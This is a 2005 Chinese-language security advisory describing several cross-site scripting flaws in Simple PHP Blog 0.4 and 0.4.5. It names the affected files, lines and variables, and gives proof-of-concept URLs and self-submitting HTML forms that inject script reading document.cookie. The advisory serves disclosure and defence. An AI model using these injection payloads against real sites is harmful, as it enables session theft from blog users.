安全研究

安全漏洞
Simple PHP Blog多个跨站脚本漏洞

发布日期:2005-11-04
更新日期:2005-11-04

受影响系统:
Simple PHP Blog Simple PHP Blog 0.4.5
Simple PHP Blog Simple PHP Blog 0.4
描述:
BUGTRAQ  ID: 15283

Simple PHP Blog是一个采用PHP语言编写的开放源码的免费单用户Blog程序。

Simple PHP Blog中存在多个跨站脚本漏洞,如下:

1) preview_cgi.php

preview_cgi.php的第126行没有经过充分过滤便直接向浏览器显示$entry变量。登录后可通过以下URL测试:

http://your-server/path-to-sphpblog/preview_cgi.php?entry=foo"><script>alert(document.cookie)</script>

2) preview_cgi.php

preview_cgi.php文件的第129行没有经过充分过滤便直接向浏览器显示$temp_subject变量。登录后可通过以下页面测试:

    <form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">
        <input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>
        <input type="submit"/>
    </form>

    <script type="text/javascript">
      document.forms[0].submit();
    </script>

类似的漏洞也影响preview_cgi.php第158行:

    <form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">
    <input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>
        <input type="submit"/>
    </form>

    <script type="text/javascript">
      document.forms[0].submit();
    </script>

3) preview_static_cgi.php

preview_static_cgi.php中存在4个类似于preview_cgi.php中的漏洞:

- 73行$entry变量:

    http://localhost/~enji/path-to-sphpblog/preview_static_cgi.php?entry=foo"><script>alert(document.cookie)</script>

- 76行$temp_subject变量:

    <form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
        <input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>
        <input type="submit"/>
    </form>

    <script type="text/javascript">
      document.forms[0].submit();
    </script>

- 158行$temp_text变量:

    <form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
    <input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>
        <input type="submit"/>
    </form>

    <script type="text/javascript">
      document.forms[0].submit();
    </script>

- 108行,如果没有设置$_GET['entry']的话将$temp_file_name变量设置为$_POST['file_name'],否则设置为$entry(在这种情况下请见73行的漏洞):

    <form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
    <input name="file_name" value='"><script>alert(document.cookie)</script>'/>
        <input type="submit"/>
    </form>

    <script type="text/javascript">
      document.forms[0].submit();
    </script>

4) colors.php

colors.php文件187行的$preset_name和$result变量存在跨站脚本漏洞:

    <form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post">
        <input name="save_btn" value="1"/>
        <input name="scheme_name" value='"></option></select><script>alert(document.cookie)</script>'/>
        <input name="scheme_file" value="blabla"/>
        <input type="submit"/>
    </form>

    <script type="text/javascript">
      document.forms[0].submit();
    </script>



    <form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post">
        <input name="save_btn" value="1"/>
        <input name="scheme_name" value="myscheme"/>
        <input name="scheme_file" value="blabla"/>
        <input name="bg_color" value='"><script>alert(document.cookie)</script>'/>
        <input type="submit"/>
    </form>

    <script type="text/javascript">
      document.forms[0].submit();
    </script>

远程攻击者可以利用这些漏洞在用户浏览器中执行任意代码。

<*来源:Nenad Jovanovic (enji@infosys.tuwien.ac.at
  
  链接:http://www.seclab.tuwien.ac.at/advisories/TUVSA-0511-001.txt
*>

建议:
厂商补丁:

Simple PHP Blog
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.simplephpblog.com/index.php

浏览次数:3771
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障